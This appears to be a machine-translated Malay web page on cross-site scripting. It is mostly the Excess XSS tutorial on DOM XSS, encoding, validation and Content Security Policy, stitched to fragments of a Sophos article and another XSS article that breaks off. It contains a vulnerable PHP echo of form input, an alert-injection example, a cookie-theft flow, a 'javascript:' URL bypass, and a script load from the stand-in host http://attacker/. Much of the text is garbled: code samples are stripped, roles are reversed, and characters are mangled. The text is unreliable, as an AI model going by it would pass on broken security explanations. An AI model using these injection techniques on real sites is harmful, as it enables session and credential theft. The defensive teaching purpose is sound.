    • Jika matlamatnya adalah kumpulan besar pengguna, penyerang boleh menyiarkan pautan ke URL berniat jahat (contohnya, di tapak webnya sendiri atau rangkaian sosial) dan tunggu pelawat mengikuti pautan.

    Kedua-dua kaedah ini adalah serupa, dan kedua-duanya boleh menjadi lebih berjaya menggunakan perkhidmatan memendekkan URL yang akan menutup rentetan berniat jahat daripada pengguna yang mungkin dapat mengenal pastinya.

    XSS dalam DOM

    XSS dalam DOM ialah varian kedua-dua serangan XSS yang disimpan dan dicerminkan. Dalam serangan XSS ini, rentetan berniat jahat tidak diproses oleh penyemak imbas mangsa sehingga JavaScript sebenar tapak web dilaksanakan. Rajah di bawah menggambarkan senario ini untuk serangan XSS yang dicerminkan:

  • Penyerang mencipta URL yang mengandungi rentetan berniat jahat dan menghantarnya kepada mangsa.
  • Mangsa menipu penyerang untuk menghantar permintaan URL ke tapak web.
  • Tapak ini menerima permintaan, tetapi tidak memasukkan rentetan berniat jahat dalam respons.
  • Pelayar mangsa melakukan skrip yang sah terkandung dalam respons, mengakibatkan skrip berniat jahat akan dimasukkan ke dalam halaman.
  • Pelayar mangsa melaksanakan skrip berniat jahat yang dimasukkan ke dalam halaman, menghantar kuki mangsa ke pelayan penyerang.
  • Apakah perbezaan antara XSS dalam DOM?

    Dalam contoh serangan XSS yang disimpan dan dicerminkan sebelumnya, pelayan memasukkan skrip berniat jahat ke dalam halaman, yang kemudiannya dimajukan sebagai respons kepada mangsa. Apabila penyemak imbas mangsa menerima respons, ia menganggap bahawa skrip berniat jahat adalah sebahagian daripada kandungan sah halaman dan melaksanakannya secara automatik semasa halaman dimuatkan, sama seperti skrip lain.

    Dalam contoh serangan XSS dalam DOM, skrip berniat jahat tidak dimasukkan sebagai sebahagian daripada halaman; satu-satunya skrip yang dilaksanakan secara automatik semasa halaman dimuatkan ialah bahagian halaman yang sah. Masalahnya ialah skrip yang sah ini secara langsung menggunakan input pengguna untuk menambah HTML pada halaman. Memandangkan rentetan berniat jahat dimasukkan ke dalam halaman menggunakan innerHTML , ia dihuraikan sebagai HTML, menyebabkan skrip berniat jahat dilaksanakan.

    Perbezaan ini kecil, tetapi sangat penting:

    • Dalam XSS tradisional, JavaScript berniat jahat dilaksanakan apabila halaman dimuatkan, sebagai sebahagian daripada HTML yang dihantar oleh pelayan.
    • Dalam kes XSS dalam DOM, JavaScript berniat jahat dilaksanakan selepas halaman dimuatkan, menyebabkan halaman JavaScript yang sah mengakses input pengguna (mengandungi rentetan berniat jahat) dengan cara yang tidak selamat.
    Bagaimanakah XSS berfungsi dalam DOM?

    Tidak ada keperluan untuk JavaScript dalam contoh sebelumnya; pelayan boleh menjana semua HTML dengan sendirinya. Jika kod sebelah pelayan tidak mengandungi kelemahan, tapak web tidak akan terdedah kepada kerentanan XSS.

    Walau bagaimanapun, apabila aplikasi web menjadi lebih maju, semua Kuantiti yang besar Halaman HTML dijana menggunakan JavaScript pada bahagian klien, bukan pada pelayan. Pada bila-bila masa kandungan harus berubah tanpa memuat semula keseluruhan halaman, ini boleh dilakukan dengan menggunakan JavaScript. Khususnya, ini berlaku apabila halaman dimuat semula selepas permintaan AJAX.

    Ini bermakna bahawa kelemahan XSS boleh hadir bukan sahaja dalam kod sisi pelayan tapak anda, tetapi juga pada kod JavaScript sisi klien tapak anda. Oleh itu, walaupun dengan kod bahagian pelayan yang selamat sepenuhnya, kod klien mungkin masih tidak menyertakan input pengguna dengan selamat semasa mengemas kini DOM selepas halaman dimuatkan. Jika ini berlaku, kod sebelah klien akan membenarkan serangan XSS berlaku tanpa kesalahan kod sebelah pelayan.

    XSS berasaskan DOM mungkin tidak kelihatan kepada pelayan

    wujud kes khas Serangan XSS dalam DOM, yang mana rentetan hasad tidak pernah dihantar ke pelayan tapak web: ini berlaku apabila rentetan hasad terkandung dalam bahagian pengecam URL (apa-apa sahaja selepas simbol #). Penyemak imbas tidak menghantar bahagian URL ini ke pelayan, jadi tapak web tidak boleh mengaksesnya menggunakan kod sebelah pelayan. Kod sisi pelanggan, bagaimanapun, mempunyai akses kepadanya, dan dengan itu adalah mungkin untuk melakukan serangan XSS melalui pemprosesan yang tidak selamat.

    Kes ini tidak terhad kepada ID serpihan. Terdapat input pengguna lain yang tidak dapat dilihat oleh pelayan, seperti ciri HTML5 baharu seperti LocalStorage dan IndexedDB.

    Bahagian ketiga:
    XSS Pencegahan XSS Teknik Pencegahan

    Ingat bahawa XSS ialah serangan suntikan kod: input pengguna tersilap ditafsirkan sebagai berniat jahat. kod program. Untuk mengelakkan suntikan kod jenis ini, pengendalian input yang selamat diperlukan. Bagi pembangun web, terdapat dua asasnya cara yang berbeza melaksanakan pemprosesan input selamat:

    • Pengekodan ialah kaedah yang membenarkan pengguna memasukkan data sahaja sebagai data dan tidak membenarkan pelayar memprosesnya sebagai kod.
    • Pengesahan ialah cara menapis input pengguna supaya penyemak imbas mentafsirkannya sebagai kod tanpa arahan berniat jahat.

    Walaupun ini pada asasnya adalah kaedah pencegahan XSS yang berbeza, ia mempunyai beberapa kaedah ciri-ciri biasa yang penting untuk difahami apabila menggunakan mana-mana daripadanya:

    Konteks Pengendalian input selamat mesti dilakukan secara berbeza bergantung pada tempat pada halaman input pengguna digunakan. masuk/keluar Pemprosesan input selamat boleh dilakukan sama ada apabila tapak anda menerima input ( trafik masuk) atau betul-betul sebelum tapak memasukkan input pengguna ke dalam kandungan halaman (keluar). Pemprosesan input selamat Pelanggan/Pelayan boleh dilakukan sama ada pada sisi klien atau bahagian pelayan, setiap pilihan diperlukan dalam keadaan yang berbeza.

    Sebelum menerangkan secara terperinci cara pengekodan dan pengesahan berfungsi, kami akan menerangkan setiap perkara ini.

    Mengendalikan input pengguna dalam konteks

    Terdapat banyak konteks pada halaman web di mana input pengguna boleh digunakan. Bagi setiap daripada mereka, peraturan khas mesti dipatuhi untuk memastikan bahawa input pengguna tidak dapat lari daripada konteksnya dan tidak boleh ditafsirkan sebagai kod berniat jahat. Berikut adalah konteks yang paling biasa:

    Mengapa konteks penting?

    Dalam semua konteks yang diterangkan, kelemahan XSS boleh berlaku jika input pengguna dimasukkan sebelum pengekodan atau pengesahan pertama. Penyerang boleh menyuntik kod hasad hanya dengan memasukkan pembatas penutup untuk konteks ini diikuti dengan kod hasad.

    Sebagai contoh, jika pada satu ketika laman web melibatkan input pengguna secara langsung ke atribut HTML, penyerang akan dapat menyuntik skrip berniat jahat dengan memulakan input mereka dengan petikan, seperti ditunjukkan di bawah:

    Ini boleh dihalang dengan hanya mengalih keluar semua petikan dalam input pengguna dan semuanya akan baik-baik saja, tetapi hanya dalam konteks ini. Jika input telah dimasukkan ke dalam konteks yang berbeza, pembatas penutup akan berbeza dan suntikan boleh dilakukan. Atas sebab ini, pengendalian input selamat hendaklah sentiasa disesuaikan dengan konteks di mana input pengguna akan dimasukkan.

    Mengendalikan input pengguna masuk/keluar

    Secara naluri, nampaknya XSS boleh dihalang dengan mengekod atau mengesahkan semua input pengguna sebaik sahaja tapak kami menerimanya. Dengan cara ini, sebarang rentetan berniat jahat sudah pun dinetralkan apabila ia dimasukkan ke dalam halaman dan skrip penjanaan HTML tidak perlu risau tentang pengendalian input pengguna dengan selamat.

    Masalahnya ialah, seperti yang diterangkan sebelum ini, input pengguna boleh dimasukkan ke dalam berbilang konteks pada halaman. Dan tidak cara mudah tentukan bila input pengguna tiba dalam konteks - bagaimana ia akhirnya akan disisipkan, dan input pengguna yang sama selalunya perlu disisipkan dalam konteks yang berbeza. Dengan bergantung pada pemprosesan input masuk untuk menghalang XSS, kami mencipta penyelesaian yang sangat rapuh yang akan terdedah kepada ralat. (Petikan ajaib PHP warisan adalah contoh penyelesaian sedemikian.)

    Sebaliknya, pemprosesan input keluar hendaklah menjadi barisan pertahanan utama anda terhadap XSS kerana ia boleh mengambil kira konteks khusus tentang input pengguna yang akan dimasukkan. Pada tahap tertentu, pengesahan masuk boleh digunakan untuk menambah lapisan keselamatan kedua, tetapi lebih lanjut mengenainya kemudian.

    Di manakah mungkin untuk mengendalikan input pengguna dengan selamat?

    Dalam majoriti aplikasi web moden, input pengguna diproses pada kedua-dua bahagian kod pelayan dan bahagian kod klien. Untuk melindungi daripada semua jenis XSS, pengendalian input selamat mesti dilakukan dalam kedua-dua kod sebelah pelayan dan sebelah pelanggan.

    • Untuk melindungi daripada XSS tradisional, pengendalian input selamat mesti dilakukan dalam kod sebelah pelayan. Ini dilakukan menggunakan beberapa bahasa yang disokong oleh pelayan.
    • Untuk melindungi daripada serangan XSS dalam DOM, di mana pelayan tidak pernah menerima rentetan berniat jahat (seperti serangan serpihan pengecam yang diterangkan sebelum ini), pengendalian input selamat mesti dilakukan dalam kod sisi klien. Ini dilakukan menggunakan JavaScript.

    Memandangkan kita telah menjelaskan mengapa konteks penting, mengapa perbezaan antara pemprosesan input masuk dan keluar penting penting, dan mengapa pemprosesan input selamat mesti dilakukan pada kedua-dua belah pihak, kedua-dua bahagian klien dan bahagian pelayan, kita boleh terus menerangkan cara kedua-dua jenis pemprosesan input selamat (pengekodan dan pengesahan) sebenarnya dilakukan.

    Pengekodan

    Pengekodan ialah jalan keluar daripada situasi di mana penyemak imbas perlu mentafsir input pengguna hanya sebagai data, dan bukan kod. Jenis pengekodan yang paling popular dalam pembangunan web ialah HTML masking, yang menukar aksara seperti< и >V< и >masing-masing.

    Pseudokod berikut ialah contoh bagaimana input pengguna (input pengguna) boleh dikodkan menggunakan penyekat HTML dan kemudian dimasukkan ke dalam halaman menggunakan skrip sebelah pelayan:

    cetak ""
    cetak "Komen terakhir: "
    print encodeHtml(userInput)
    cetak ""

    Jika pengguna masuk baris seterusnya..., HTML yang terhasil akan kelihatan seperti ini:


    Ulasan terakhir:
    ...

    Oleh kerana semua aksara dengan makna istimewa telah dilupuskan, penyemak imbas tidak akan menghuraikan mana-mana bahagian input pengguna seperti HTML.

    Pengekodan kod sisi klien dan pelayan

    Apabila melakukan pengekodan sisi klien, JavaScript sentiasa digunakan, yang mempunyai fungsi terbina dalam yang mengekod data untuk konteks yang berbeza.

    Apabila melakukan pengekodan dalam kod sebelah pelayan anda, anda bergantung pada ciri yang tersedia dalam bahasa atau rangka kerja anda. Disebabkan Kuantiti yang besar bahasa dan rangka kerja yang tersedia, tutorial ini tidak akan merangkumi butiran pengekodan dalam mana-mana bahasa atau rangka kerja pelayan tertentu. Walau bagaimanapun, fungsi pengekodan JavaScript yang digunakan pada bahagian klien juga digunakan semasa menulis kod sebelah pelayan.

    Pengekodan sisi pelanggan

    Apabila mengekod input pengguna sisi klien menggunakan JavaScript, terdapat beberapa kaedah dan sifat terbina dalam yang secara automatik mengekod semua data dalam gaya sensitif konteks:

    Konteks terakhir yang telah disebutkan di atas (nilai dalam JavaScript) tidak disertakan dalam senarai ini kerana JavaScript tidak menyediakan cara pengekodan data terbina dalam yang akan disertakan dalam sumber JavaScript.

    Pengekodan Had

    Walaupun semasa pengekodan, adalah mungkin untuk menggunakan rentetan berniat jahat dalam beberapa konteks. Contoh yang menarik perhatian ini adalah apabila input pengguna digunakan untuk menyediakan URL, seperti dalam contoh di bawah:

    document.querySelector("a").href = userInput

    Walaupun nilai yang ditentukan dalam sifat href elemen secara automatik mengekodnya supaya ia menjadi tidak lebih daripada nilai atribut, ini dengan sendirinya tidak menghalang penyerang daripada memasukkan URL bermula dengan "javascript:". Apabila pautan diklik, tanpa mengira pembinaan, JavaScript terbenam dalam URL akan dilaksanakan.

    Pengekodan juga bukan penyelesaian yang berkesan apabila anda mahu pengguna boleh menggunakan beberapa kod HTML pada halaman. Contohnya ialah halaman profil pengguna di mana pengguna boleh menggunakan HTML tersuai. Jika HTML biasa ini dikodkan, halaman profil hanya boleh terdiri daripada teks biasa.

    Dalam situasi sedemikian, pengekodan mesti dilengkapi dengan pengesahan, yang akan kita lihat kemudian.

    Pengesahan

    Pengesahan ialah tindakan menapis input pengguna supaya semua bahagian berniat jahat dibuang, tanpa perlu mengalih keluar semua kod di dalamnya. Salah satu jenis pengesahan yang paling banyak digunakan dalam pembangunan web membolehkan anda menggunakan beberapa elemen HTML (contohnya, dan ) sambil melumpuhkan yang lain (contohnya, ).

    Terdapat dua semakan ciri utama, yang berbeza dalam pelaksanaannya:

    Strategi Pengelasan Input pengguna boleh dikelaskan menggunakan senarai hitam atau senarai putih. Keputusan Pengesahan Input pengguna yang dikenal pasti sebagai berniat jahat boleh ditolak atau dibersihkan.

    Strategi klasifikasi Senarai Hitam

    Secara naluri, nampaknya wajar untuk melakukan semakan dengan menentukan corak terlarang yang tidak sepatutnya muncul dalam input pengguna. Jika garis sepadan dengan corak ini, ia ditandakan sebagai tidak sah. Sebagai contoh, benarkan pengguna menyerahkan URL tersuai dengan mana-mana protokol, untuk kecuali javascript: . Strategi klasifikasi ini dipanggil senarai hitam.

    Walau bagaimanapun, senarai hitam mempunyai dua kelemahan utama:

    Kesukaran untuk menerangkan dengan tepat set semua kemungkinan rentetan berniat jahat biasanya merupakan tugas yang sangat sukar. Contoh dasar yang diterangkan di atas tidak dapat dilaksanakan dengan jayanya oleh carian mudah oleh subrentetan "javascript", kerana ia akan terlepas rentetan seperti "Javascript:" (di mana huruf pertama masuk huruf besar) dan "javascript:" (di mana huruf pertama dikodkan sebagai rujukan aksara angka). Penamatan Walaupun senarai hitam yang sempurna telah dibangunkan, ia akan menjadi sia-sia jika ciri baharu yang ditambahkan pada penyemak imbas boleh digunakan untuk serangan. Contohnya, jika senarai hitam pengesahan HTML telah dibangunkan sebelum atribut onmousewheel diperkenalkan dalam HTML5, ia tidak akan dapat menghalang penyerang daripada menggunakan atribut ini untuk melakukan serangan XSS. Kelemahan ini amat penting dalam pembangunan web, yang terdiri daripada pelbagai teknologi yang sentiasa dikemas kini.

    Disebabkan kekurangan ini, penyenaraian hitam amat tidak digalakkan sebagai strategi klasifikasi. Penyenaraian putih biasanya merupakan pendekatan yang lebih selamat, yang akan kami huraikan seterusnya.

    Senarai putih

    Senarai putih pada asasnya adalah bertentangan dengan senarai hitam: bukannya mengenal pasti corak yang dilarang, pendekatan senarai putih mengenal pasti corak yang dibenarkan dan menandakan input sebagai tidak sah jika ia tidak sepadan templat ini.

    Berbeza dengan senarai hitam, contoh senarai putih ialah membenarkan pengguna menyerahkan URL tersuai yang mengandungi hanya protokol http: dan https:, tidak lebih. Pendekatan ini akan membenarkan URL ditandakan secara automatik sebagai tidak sah jika ia mengandungi protokol javascript:, walaupun ia diwakili sebagai "Javascript:" atau "javascript:".

    Berbanding dengan senarai hitam, senarai putih mempunyai dua kelebihan utama:

    Kemudahan menerangkan set dengan tepat tali selamat, biasanya lebih mudah daripada mengenal pasti set semua rentetan berniat jahat. Ini terpakai terutamanya dalam situasi umum di mana input pengguna mesti termasuk set yang sangat terhad kefungsian tersedia dalam penyemak imbas. Sebagai contoh, senarai putih yang diterangkan di atas sangat mudah membenarkan anda menggunakan URL hanya dengan dibenarkan protokol http: atau https:, dan dalam kebanyakan situasi ini cukup untuk pengguna. Ketahanan Tidak seperti senarai hitam, senarai putih biasanya tidak menjadi usang apabila ciri baharu ditambahkan pada penyemak imbas. Contohnya, pengesahan senarai putih HTML membenarkan hanya atribut tajuk elemen HTML untuk kekal selamat, walaupun ia (senarai putih) telah direka bentuk sebelum pengenalan atribut onmousewheel HTML5.

    Keputusan pengesahan

    Apabila input pengguna telah ditandakan sebagai tidak sah (dilarang), satu daripada dua tindakan boleh diambil:

    Menolak input hanya ditolak, menghalangnya daripada digunakan di tempat lain di tapak. Membersihkan semua bahagian data input yang tidak sah dialih keluar dan baki input digunakan di tapak web seperti biasa.

    Daripada kedua-dua, pesongan adalah pendekatan yang paling mudah untuk dilaksanakan. Tetapi pembasmian kuman dipercayai lebih bermanfaat kerana ia memberikan lebih banyak julat yang luas input pengguna. Contohnya, jika pengguna menyerahkan nombor kad kredit, sanitasi akan mengalih keluar semua aksara bukan simbol dan menghalang suntikan kod, dan juga membenarkan pengguna memasukkan nombor dengan atau tanpa tanda sempang.

    Jika anda memutuskan untuk melaksanakan pembasmian kuman, anda perlu memastikan bahawa prosedur pembasmian kuman itu sendiri tidak menggunakan pendekatan senarai hitam. Contohnya, URL "Javascript:...", walaupun dikenal pasti menggunakan senarai putih sebagai tidak sah, akan menerima rutin pintasan sanitasi yang hanya mengalih keluar semua tika "javascript:". Atas sebab ini, perpustakaan dan rangka kerja yang diuji dengan baik harus menggunakan sanitasi apabila boleh.

    Apakah kaedah yang perlu digunakan untuk pencegahan?

    Pengekodan hendaklah menjadi barisan pertahanan pertama anda terhadap serangan XSS, tujuannya adalah untuk memproses data sedemikian rupa sehingga penyemak imbas tidak dapat mentafsir input pengguna sebagai kod. Dalam sesetengah kes, pengekodan mesti dilengkapi dengan pengesahan. Pengekodan dan pengesahan mesti digunakan pada trafik keluar kerana hanya dengan itu anda boleh mengetahui dalam konteks apa input pengguna akan digunakan dan pengekodan dan pengesahan yang perlu digunakan.

    Sebagai barisan pertahanan kedua, anda harus menggunakan sanitasi data masuk atau penolakan input pengguna yang jelas tidak sah, seperti pautan, menggunakan javascript: protokol. Ini tidak boleh dengan sendirinya menyediakan keselamatan yang lengkap, tetapi ia adalah langkah berjaga-jaga yang berguna jika mana-mana titik dalam perlindungan pengekodan dan pengesahan boleh gagal disebabkan oleh pelaksanaan yang salah.

    Jika kedua-dua barisan pertahanan ini digunakan secara konsisten, tapak anda akan dilindungi daripada serangan XSS. Walau bagaimanapun, disebabkan kerumitan mencipta dan menyelenggara tapak web, menyediakan keselamatan yang lengkap menggunakan pemprosesan input pengguna yang selamat boleh menjadi sukar. Sebagai barisan pertahanan ketiga, anda harus menggunakan Polisi Keselamatan Kandungan ( Inggeris Keselamatan Kandungan Dasar), kemudian CSP, yang akan kami terangkan di bawah.

    Dasar Keselamatan Kandungan (CSP)

    Menggunakan hanya pengendalian input pengguna yang selamat untuk melindungi daripada serangan XSS tidak mencukupi kerana walaupun satu kesilapan keselamatan boleh menjejaskan tapak web anda. Mengguna pakai Polisi Keselamatan Kandungan (CSP) daripada standard web baharu boleh mengurangkan risiko ini.

    CSP digunakan untuk menyekat penggunaan halaman web pelayar supaya ia hanya boleh menggunakan sumber yang dimuat turun daripada sumber yang dipercayai. A sumber ialah skrip, helaian gaya, imej atau beberapa jenis fail lain yang dirujuk pada halaman. Ini bermakna walaupun penyerang berjaya menyuntik kandungan berniat jahat ke dalam tapak anda, CSP akan dapat menghalangnya daripada dilaksanakan.

    CSP boleh digunakan untuk menguatkuasakan peraturan berikut:

    Mengharamkan Sumber Yang Tidak Boleh Dipercayai sumber luar hanya boleh dimuat turun daripada satu set sumber yang ditakrifkan dengan jelas dan dipercayai. Dengan tidak membenarkan sumber terbenam, JavaScript dan CSS sebaris tidak akan diambil kira. Melumpuhkan eval melarang penggunaan fungsi eval dalam JavaScript.

    CSP dalam tindakan

    Dalam contoh berikut, penyerang berjaya menyuntik kod hasad ke dalam halaman web:


    Ulasan terakhir:

    Dengan dasar CSP yang ditakrifkan dengan betul, penyemak imbas tidak boleh memuatkan dan melaksanakan malicious‑script.js kerana http://attacker/ tidak dinyatakan sebagai sumber yang boleh dipercayai. Walaupun tapak gagal memproses input pengguna dengan pasti dalam kes ini Dasar CSP menghalang sebarang kerentanan atau bahaya daripada berlaku.

    Walaupun penyerang menyuntik kod di dalam kod skrip, dan bukan dengan pautan ke fail luaran, dasar CSP yang dikonfigurasikan dengan betul juga akan menghalang suntikan ke dalam kod JavaScript, menghalang kerentanan dan menyebabkan sebarang bahaya.

    Bagaimana untuk mendayakan CSP?

    Secara lalai, pelayar tidak menggunakan CSP. Untuk mendayakan SCP di tapak web anda, halaman mesti mengandungi pengepala HTTP tambahan: Polisi Kandungan-Keselamatan. Mana-mana halaman yang mengandungi pengepala ini akan menguatkuasakan dasar keselamatan apabila dimuatkan oleh penyemak imbas, dengan syarat penyemak imbas menyokong CSP.

    Oleh kerana dasar keselamatan dihantar dengan setiap respons HTTP, pelayan boleh menetapkan dasar secara individu untuk setiap halaman. Dasar yang sama boleh digunakan pada keseluruhan tapak web dengan memasukkan pengepala CSP yang sama dalam setiap respons.

    Nilai dalam pengepala Content‑Security‑Policy mengandungi rentetan yang mentakrifkan satu atau lebih dasar keselamatan yang akan dijalankan di tapak anda. Sintaks baris ini akan diterangkan di bawah.

    Contoh tajuk dalam bahagian ini menggunakan pemisah baris dan lekukan untuk memudahkan rujukan; mereka tidak sepatutnya muncul dalam tajuk sebenar.

    Sintaks CSP

    Sintaks pengepala CSP adalah seperti berikut:

    Dasar-Keselamatan Kandungan:
    arahan sumber-ungkapan, sumber-ungkapan, ...;
    arahan ...;
    ...

    Sintaks ini terdiri daripada dua elemen:

    • Arahan ialah rentetan yang menunjukkan jenis sumber yang diambil daripada senarai yang diberikan.
    • Ungkapan sumber ialah model yang menerangkan satu atau lebih pelayan dari mana sumber boleh dimuatkan.

    Untuk setiap arahan, data dalam ungkapan sumber menentukan sumber yang boleh digunakan untuk memuatkan sumber daripada jenis yang sepadan.

    Arahan

    Arahan berikut boleh digunakan dalam pengepala CSP:

    • sambung-src
    • font-src
    • bingkai-src
    • img-src
    • media-src
    • objek‑src
    • skrip-src
    • gaya‑src

    Di samping itu, arahan lalai-src khas boleh digunakan untuk memberikan nilai lalai untuk semua arahan yang tidak disertakan dalam pengepala.

    Ungkapan sumber

    Sintaks untuk mencipta ungkapan sumber adalah seperti berikut:

    protokol:// nama hos: nombor port

    Nama hos boleh bermula dengan *, bermakna mana-mana subdomain nama hos yang disediakan akan diselesaikan. Begitu juga, nombor port boleh diwakili sebagai *, yang bermaksud bahawa semua port akan dibenarkan. Selain itu, protokol dan nombor port mungkin ditinggalkan. Jika tiada protokol dinyatakan, dasar ini memerlukan semua sumber dimuatkan menggunakan HTTPS.

    Sebagai tambahan kepada sintaks di atas, ungkapan sumber secara alternatif boleh menjadi salah satu daripada empat kata kunci dengan makna istimewa (termasuk petikan):

    "tiada" melumpuhkan sumber. "diri" membenarkan sumber daripada hos tempat halaman web itu berada. "unsafe‑inline" menyelesaikan sumber yang terkandung pada halaman sebagai elemen sebaris, elemen dan javascript: URL. "unsafe-eval" mendayakan fungsi JavaScript eval .

    Sila ambil perhatian bahawa apabila CSP digunakan, sumber terbina dalam dan eval dilumpuhkan secara automatik secara lalai. Menggunakan "unsafe-inline" dan "unsafe-eval" — satu-satunya cara untuk kegunaan mereka.

    Dasar Contoh

    Dasar-Keselamatan Kandungan:
    script‑src "self" scripts.example.com;
    media‑src "tiada";
    img‑src *;
    default‑src "self" http://*.example.com

    Dengan dasar contoh ini, halaman web akan mempunyai sekatan berikut:

    • Skrip hanya boleh dimuat turun dari hos tempat halaman web itu berada dan dari alamat ini: scripts.example.com.
    • Fail audio dan video dilarang dimuat turun.
    • Fail imej boleh dimuat turun dari mana-mana alamat.
    • Semua sumber lain hanya boleh dimuatkan daripada hos di mana halaman web terletak dan daripada mana-mana subdomain example.com.
    status CSP

    Mulai Jun 2013, Dasar Keselamatan Kandungan disyorkan oleh konsortium W3C. CSP dilaksanakan oleh pembangun penyemak imbas, tetapi beberapa bahagiannya khusus untuk penyemak imbas. pelayar yang berbeza. Sebagai contoh, penggunaan pengepala HTTP mungkin berbeza antara penyemak imbas. Sebelum menggunakan CSP, rujuk dokumentasi penyemak imbas yang anda bercadang untuk menyokong.

    Ringkasan Ringkasan: Gambaran Keseluruhan XSS
    • Serangan XSS ialah serangan suntikan kod yang dimungkinkan oleh pemprosesan input pengguna yang tidak selamat.
    • Serangan XSS yang berjaya membolehkan penyerang melaksanakan JavaScript berniat jahat dalam penyemak imbas mangsa.
    • Serangan XSS yang berjaya menjejaskan keselamatan tapak web dan penggunanya.
    Ringkasan: Serangan XSS
    • Terdapat tiga jenis utama serangan XSS:
      • XSS yang disimpan, di mana input berniat jahat berasal daripada pangkalan data tapak web.
      • XSS yang dicerminkan, di mana input berniat jahat berasal daripada permintaan mangsa.
      • Serangan XSS dalam DOM, di mana kelemahan dieksploitasi dalam kod pada bahagian klien, dan bukan pada bahagian pelayan.
    • Semua serangan ini dilakukan secara berbeza, tetapi mempunyai kesan yang sama jika berjaya.
    Ringkasan: Mencegah XSS
    • Paling cara yang penting mencegah serangan XSS adalah dengan melakukan pemprosesan input yang selamat.
      • Pengekodan mesti dilakukan apabila input pengguna didayakan pada halaman.
      • Dalam sesetengah kes, pengekodan mesti diganti atau ditambah dengan pengesahan.
      • Pengendalian input yang selamat mesti mengambil kira konteks halaman yang mana input pengguna dimasukkan.
      • Untuk mengelakkan semua jenis serangan XSS, pemprosesan input selamat mesti dilakukan dalam kedua-dua kod sisi klien dan sisi pelayan.
    • Dasar Keselamatan Kandungan (CSP) memastikan tahap tambahan perlindungan jika pemprosesan input selamat mengandungi ralat.
    Lampiran Terminologi

    Perlu diingatkan bahawa terdapat persilangan dalam terminologi yang digunakan untuk menggambarkan XSS: serangan XSS dalam DOM boleh sama ada disimpan atau dicerminkan; Ini bukan jenis serangan yang berasingan. Tiada istilah yang diterima umum yang merangkumi semua jenis XSS tanpa kekeliruan. Terlepas dari istilah yang digunakan untuk menerangkan XSS, perkara yang paling penting ialah menentukan jenis serangan, ini mungkin jika anda tahu dari mana input berniat jahat itu datang dan dari mana kelemahan itu berada.

    Hak penggunaan dan pautan

    Kod sumber untuk XSS berlebihan tersedia di GitHub.

    XSS berlebihan telah dicipta pada tahun 2013 sebagai sebahagian daripada kursus Keselamatan Berasaskan Bahasa di Universiti Teknologi Chalmers.

    Terjemahan ke dalam bahasa Rusia dilakukan oleh A888R, teks asal dalam Bahasa Inggeris: excess-xss.com, hantar komen, cadangan dan ralat dalam terjemahan di sini.

    Artikel \"Melindungi Laman Web\" disediakan oleh Sophos Plc dan SophosLabs.

    Disember 2007

    Jenis ini Serangan menyasarkan tapak web yang memaparkan input pengguna. Daripada cuba mengawal pangkalan data dengan menyuntik kod hasad, penyerang cuba menyerang kod tapak web itu sendiri dengan menyuntik segmen hasad ke dalamnya.

    Banyak tapak menyimpan nama semua pelawat dalam pangkalan data supaya mereka boleh dipaparkan apabila pengguna yang sepadan masuk. Penyerang boleh membuat akaun palsu dengan meletakkan kod hasad dalam medan nama. Serangan sedemikian biasanya dilakukan menggunakan skrip berniat jahat pada bahasa Javascript, yang kemudiannya memuat turun kandungan daripada tapak web lain. Pangkalan data sepatutnya menyimpan nama pengguna, tetapi sebenarnya dalam kes ini ia akan menjadi kod berniat jahat. Sehubungan itu, jika tapak web memaparkan nama pengguna di bahagian atas halaman, maka kod ini akan dilaksanakan. Memandangkan kod sedemikian boleh melakukan hampir apa sahaja dalam keadaan tertentu, ancaman menjadi sangat nyata; namun, pembangun sering melupakannya. belakang Kebelakangan ini Banyak laman web popular telah menjadi mangsa serangan XSS, termasuk MySpace, Facebook, Google Mail, Bersentuhan dengan.

    Catatan.

    Pertimbangkan kod PHP berikut:

    $nama pertama = $_POST[\"nama pertama\"]; echo \"Nama anda: $firstname\";

    Selepas anda memasukkan nama anda dalam borang web, tapak memaparkan mesej yang sepadan pada halaman. Jika anda memasukkan nama "Chris" dalam borang, mesej akan kelihatan seperti ini: "Nama anda: Chris".

    Apa yang berlaku jika bukannya nama anda memasukkan binaan berikut: “maklum (“Anda baru sahaja digodam!” ) ;" ?

    Malangnya, serangan XSS selalunya sukar untuk dilawan kerana ia memerlukan penapisan yang betul bagi data input dan output, serta sebarang medan yang boleh diubah oleh pengguna. Ini termasuk data yang diperoleh daripada DAPATKAN permintaan dan POST, serta permintaan yang dikembalikan daripada pangkalan data.

    PHP mempunyai beberapa pakej yang membantu menapis output, seperti CodeIgniter. PHP juga mempunyai fungsi terbina dalam, htmlspecialchars, yang boleh digunakan untuk menapis output.

    XSS (skrip merentas tapak) ialah salah satu jenis serangan pada sistem web, yang melibatkan suntikan kod hasad ke halaman tertentu tapak dan interaksi kod ini dengan pelayan jauh penyerang apabila pengguna membuka halaman .

    Istilah dalam bahasa Inggeris adalah singkatan kepada Cross-Site Scripting, tetapi pada masa yang sama menerima singkatan XSS untuk mengelakkan kekeliruan dengan CSS (Cascading Style Sheets).

    Cara skrip merentas tapak berfungsi

    Matlamat utama skrip merentas tapak adalah untuk mencuri kuki pengguna menggunakan skrip yang dibina ke dalam pelayan dengan pensampelan lanjut data yang diperlukan dan menggunakannya untuk serangan dan penggodaman seterusnya. Penyerang tidak menyerang pengguna secara langsung, tetapi menggunakan kelemahan dalam tapak web yang mangsa lawati dan menyuntik JavaScript khas. Dalam penyemak imbas pengguna, kod ini dipaparkan sebagai satu bahagian tapak. Dalam kes ini, sumber yang dilawati sebenarnya adalah rakan sejenayah kepada serangan XSS.

    Berbanding dengan suntikan SQL, XSS selamat untuk pelayan, tetapi menimbulkan ancaman kepada pengguna sumber atau halaman yang dijangkiti. Walau bagaimanapun, jika penyerang mendapat kuki pentadbir, mereka boleh mendapat akses kepada panel kawalan tapak dan kandungannya.

    Teknik serangan XSS

    Menjalankan kod JavaScript berniat jahat hanya boleh dilakukan dalam penyemak imbas mangsa, jadi tapak yang dilawati pengguna mesti mempunyai kelemahan XSS. Untuk melakukan serangan, penyerang pada mulanya menyemak sumber untuk kelemahan melalui XSS, menggunakan skrip automatik atau carian manual. Biasanya ini bentuk piawai, yang boleh menghantar dan menerima permintaan (ulasan, carian, maklum balas).

    Diadakan koleksi penuh halaman dengan borang input, dan setiap satu diimbas untuk mencari kelemahan. Sebagai contoh, kami mempunyai halaman "Cari" di tapak web. Untuk menyemak kelemahan XSS, hanya masukkan pertanyaan berikut:

